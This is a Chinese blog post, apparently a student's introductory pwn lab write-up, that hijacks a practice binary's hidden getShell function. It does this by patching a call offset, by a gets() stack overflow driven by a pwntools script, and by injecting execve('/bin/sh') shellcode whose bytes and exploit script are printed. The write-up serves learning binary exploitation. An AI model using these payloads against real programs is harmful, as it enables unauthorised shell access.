首页 > 其他 > 详细

pwn入门学习(exp1)

时间:2021-03-10 19:38:02      阅读:36      评论:0      收藏:0      [点我收藏+]

常用汇编指令及寄存器的作用

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

  • J E:条件转移指令,如果相等则跳转。(机器码:74)

  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

  • EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)

  • EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。

  • ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。

  • EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。

  • ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

  • EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

  • EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧‘来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。

工具选择

  • kali2020:用于提供linux环境

  • python3:用于编写脚本辅助攻击

  • ida:用于查看和调试程序运行情况

场景实操

ida部分使用教程

  1. 确定程序是32位还是64位,选择相应的ida打开。如果是32位的程序使用了64位的ida打开,虽然可以看到反汇编代码,但是无法进行转化为伪代码的操作,会报错,示例如下。

技术分享图片

  1. 按F5进行转换,查看程序伪代码,这样可以知道程序编写逻辑,同时查看是否有隐藏的函数。(本次实践中的程序在主函数中只调用了foo函数,隐藏了getShell函数,如图所示)
    技术分享图片

  2. 同时,我们可以还通过切换窗口视图来查看不同的窗口(反汇编窗口、伪代码窗口、十六进制窗口、结构窗口、函数窗口等),反汇编窗口中可以通过空格切换为图形视图和文字视图,同时,还可以下断点对程序进行调试。
    技术分享图片

  3. 如果想要让主机上的ida和虚拟机进行交互,需要进行部分配置。

  • 更改ida模式为“Remote Linux debugger"

技术分享图片

  • 查看虚拟机IP地址,并打开导航栏里的Debugger->Process options,修改配置。(红框内为需要输入的虚拟机IP地址)

技术分享图片

  • 打开ida文件夹里的dbgsrv文件夹,将对应的linux_server文件放到需要交互的虚拟机文件夹中。

技术分享图片

  • 本地打开需要调试的程序,下好断点后按F9开始调试,同时虚拟机中可以将payload发送过来。在调试中,F2下断点,F7单步步入,F8单步步过。

技术分享图片

技术分享图片

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

但该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法getshell。

1、直接修改程序机器指令,改变程序执行流程

首先,用ida打开程序pwn1,F5查看程序伪代码逻辑结构

技术分享图片

可以看到,main函数中的逻辑非常简单,调用foo函数,然后结束,我们再看看foo函数的逻辑。

技术分享图片

foo函数会获取用户输入,然后返回用户输出。此外,我们还发现了一个显眼的getshell函数。

技术分享图片

getShell函数为我们提供了一个可用shell。于是思路就出现了,我们可以通过修改main函数中调用foo函数的地址,使其跳转到getShell函数,即可完成攻击。所以我们要查看main函数和getShell的函数的机器码和地址。

技术分享图片

通过双击左侧函数列表分别查看foo函数和getshell函数的入口,我们发现,foo函数的入口地址为08048491,getShell函数的入口地址为0804847D。所以,我们只需要修改程序16进制值,将08048491替换为0804847D即可达成目的。

技术分享图片

技术分享图片

我们先选中main函数中关键的地址

技术分享图片

再查看16进制值,E8是跳转的机器码,我们想让它调用getShell,只要修改“d7ffffff”为,"0804847D-80484ba"对应的补码就行。

技术分享图片

最后,我们使用winhex工具,通过计算,将D7FFFFFF改为C3FFFFFF即可完成攻击。

技术分享图片

技术分享图片

2、通过构造输入参数,造成BOF攻击,改变程序执行流

根据刚刚我们查看foo函数伪代码,可以知道,这里存在缓冲区溢出的漏洞。

首先,函数定义了一个char型的s,然后通过gets函数将用户输入的数据存入s中,再输出s中的内容。而通常char分为无符号(unsigned)和有符号(signed)两种:

  • 无符号(unsigned)的取值范围:0~255;

  • 有符号(signed)的取值范围为:-128~127.

一般我们常用char来声明一个变量,编译器默认为有符号的,即范围为:-128~127。

具体缓冲区溢出攻击原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

因此,我们只需要输入字节足够长的内容,就可以成功覆盖返回地址。通过计算,128/4=32,再加上返回地址,所以我们至少需要输入36个字符才能够到达返回地址。所以我们尝试输入”11111111222222223333333344444444haha“

技术分享图片

可以看到红框处,我们输入的”11111111222222223333333344444444“已经把缓冲区填充满了。然后选中的地方也可以发现,返回地址

也已经被我们输入的”haha"占据了。因此,我们只需要将haha替换为getShell函数的返回地址,就可以成功攻击了。

因此,我们只需要在脚本中修改一下payload的值,将haha替换为"\x7d\x84\x04\x08"即可。

技术分享图片

技术分享图片

这里贴上脚本,仅供参考:

from pwn import *

p = process(‘./20181221pwn3‘)
payload = ‘11111111222222223333333344444444‘+‘\x7d\x84\x04\x08‘
p.sendline(payload)
p.interactive()

3、尝试注入自己的shellcode并运行拿shell

首先,我们先打开一个空白文档,将汇编语言写到文档中,并保存为.asm文件

技术分享图片

global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin"  ;将/bin/sh存入栈中
mov ebx,esp  ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh   ;eax置为execve函数中断号
int 80h

然后,我们用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o

再提取机器码:

for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ‘ ‘$i; done; echo

于是我们就得到了最终的shellcode

\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80

我们把这个shellcode添加到我们的脚本中,并运行

技术分享图片

可以看到,shellcode的地址在FFFFD1B0中,我们只需要将”61686168“也就是”haha“改成"\xb0\xd1\xff\xff"既可

技术分享图片

至此,本次实践目标基本完成。下面附上最后的脚本:

from pwn import *

p = process(‘./20181221pwn3‘)
payload = ‘11111111222222223333333344444444‘+‘\xb0\xd1\xff\xff\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80‘
p.sendline(payload)
p.interactive()

pwn入门学习(exp1)

原文:https://www.cnblogs.com/MisakaYuii-Z/p/14508621.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!